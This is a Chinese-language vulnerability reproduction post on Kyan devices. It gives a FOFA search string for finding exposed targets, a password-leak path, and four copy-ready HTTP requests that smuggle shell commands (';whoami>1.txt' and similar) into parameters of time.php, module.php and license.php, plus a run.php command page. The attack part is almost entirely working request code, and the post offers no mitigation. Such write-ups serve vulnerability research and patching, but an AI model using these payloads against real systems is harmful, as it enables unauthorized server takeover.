Kyan 密码泄露/多个远程命令执行漏洞

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漏洞复现 kyan 密码泄露/多个远程命令执行漏洞

0x01 阅读须知

0x02 漏洞描述

Kyan系统存在密码泄露/多个远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限，导致服务器失陷。

0x03 漏洞复现

fofa：”login_files/button_login_to_bluesky.png”

1.执行密码泄露poc

/hosts

2.进入后台，我们有四种方法可以getshell，第一种time.php，执行whoami写入根目录的1.txt，访问1.txt返回结果，poc如下

POST /time.php HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=t59mjp5du7evvi9gncm79qp2s6; SpryMedia_DataTables_filesystemTable_status.php=%7B%22iStart%22%3A%200%2C%22iEnd%22%3A%204%2C%22iLength%22%3A%2010%2C%22sFilter%22%3A%20%22%22%2C%22sFilterEsc%22%3A%20true%2C%22aaSorting%22%3A%20%5B%20%5B0%2C'asc'%5D%5D%2C%22aaSearchCols%22%3A%20%5B%20%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%5D%2C%22abVisCols%22%3A%20%5B%20true%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%5D%7D; MemoryTree=1|1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

timesynctype=;whoami>1.txt

3.第二种module.php，执行whoami写入根目录的2.txt，访问2.txt返回结果，poc如下

GET /module.php?cmd=delete&name=;whoami>2.txt; HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=t59mjp5du7evvi9gncm79qp2s6; SpryMedia_DataTables_filesystemTable_status.php=%7B%22iStart%22%3A%200%2C%22iEnd%22%3A%204%2C%22iLength%22%3A%2010%2C%22sFilter%22%3A%20%22%22%2C%22sFilterEsc%22%3A%20true%2C%22aaSorting%22%3A%20%5B%20%5B0%2C'asc'%5D%5D%2C%22aaSearchCols%22%3A%20%5B%20%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%5D%2C%22abVisCols%22%3A%20%5B%20true%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%5D%7D; MemoryTree=1|1
Upgrade-Insecure-Requests: 1

4.第三种license.php，执行whoami写入根目录的3.txt，访问3.txt返回结果，poc如下

GET /license.php?cmd=delete&name=;whoami>3.txt HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=t59mjp5du7evvi9gncm79qp2s6; SpryMedia_DataTables_filesystemTable_status.php=%7B%22iStart%22%3A%200%2C%22iEnd%22%3A%204%2C%22iLength%22%3A%2010%2C%22sFilter%22%3A%20%22%22%2C%22sFilterEsc%22%3A%20true%2C%22aaSorting%22%3A%20%5B%20%5B0%2C'asc'%5D%5D%2C%22aaSearchCols%22%3A%20%5B%20%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%5D%2C%22abVisCols%22%3A%20%5B%20true%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%5D%7D; MemoryTree=1|1
Upgrade-Insecure-Requests: 1

5.第四种run.php，页面执行whoami并返回结果

http://{{hostname}}/run.php